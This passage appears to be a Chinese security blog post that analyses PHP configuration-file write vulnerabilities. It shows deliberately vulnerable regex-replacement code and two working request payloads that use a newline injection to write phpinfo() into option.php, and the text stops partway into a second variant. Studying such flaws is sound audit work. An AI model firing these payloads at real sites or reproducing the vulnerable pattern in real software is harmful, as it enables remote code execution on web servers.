2017年我在代码审计知识星球里曾经发过一个经典的配置文件漏洞模型:
当时大家真是脑洞大开,想出了很多解决方法。刚好今天看到奇安信发表的一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》提到一个Discuz后台getshell漏洞,也涉及了相关知识,我们来总结一下吧。
关于本文中所有解决方法的提出者(用知识星球内的昵称)和参考链接,我会附在文章最后。
0x01 基础版
特点:正则贪婪模式、无s单行模式:
<?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/\$API = '.*';/", "$API = '{$api}';", $file); file_put_contents('./option.php', $file);
攻击方法:利用换行符绕过正则,第一次写入webshell,第二次使之逃逸。分别发送如下两个请求,即可写入phpinfo。
http://localhost:9090/update.php?api=aaaaa%27;%0aphpinfo();//
http://localhost:9090/update.php?api=aaaaa
0x02 单行模式:
基础版使用换行绕过,所以开发者给正则添加了s修饰符,防止换行绕过。
<?php $api = addslashes($_GET['api']); $file = file_get_contents('./option.php'); $file = preg_replace("/\$API = '.*';/s", "$API = '{$api}';", $file); file_put_contents('./option.php', $file);
攻击方法:利用正则替换的方式,第二次用$0
或